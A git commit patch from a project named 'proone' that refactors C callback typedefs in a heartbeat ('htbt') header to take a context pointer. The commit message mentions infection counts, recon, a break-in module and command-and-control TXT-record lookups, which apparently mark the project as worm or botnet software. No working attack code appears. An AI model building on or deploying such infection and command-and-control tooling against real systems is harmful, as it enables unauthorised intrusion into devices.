From 86038b950f0aaddca7108e903568159414a8d64a Mon Sep 17 00:00:00 2001 From: David Timber Date: Sun, 27 Sep 2020 22:51:11 +0930 Subject: * Disable armv7, aarch64, x86_64 target * Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority --- src/htbt.h | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) (limited to 'src/htbt.h') diff --git a/src/htbt.h b/src/htbt.h index becb62b..152825c 100644 --- a/src/htbt.h +++ b/src/htbt.h @@ -10,10 +10,16 @@ struct prne_htbt; typedef struct prne_htbt prne_htbt_t; typedef struct prne_htbt_param prne_htbt_param_t; typedef struct prne_htbt_cbset prne_htbt_cbset_t; -typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); -typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); -typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode); -typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); +typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out); +typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out); +typedef char*(*prne_htbt_tmpfile_ft)( + void *ctx, + size_t req_size, + const mode_t mode); +typedef bool(*prne_htbt_bin_ft)( + void *ctx, + const char *path, + const prne_htbt_cmd_t *cmd); struct prne_htbt_cbset { prne_htbt_cnc_txtrec_ft cnc_txtrec; @@ -28,6 +34,7 @@ struct prne_htbt_param { mbedtls_ctr_drbg_context *ctr_drbg; prne_resolv_t *resolv; prne_htbt_cbset_t cb_f; + void *cb_ctx; int blackhole; }; -- cgit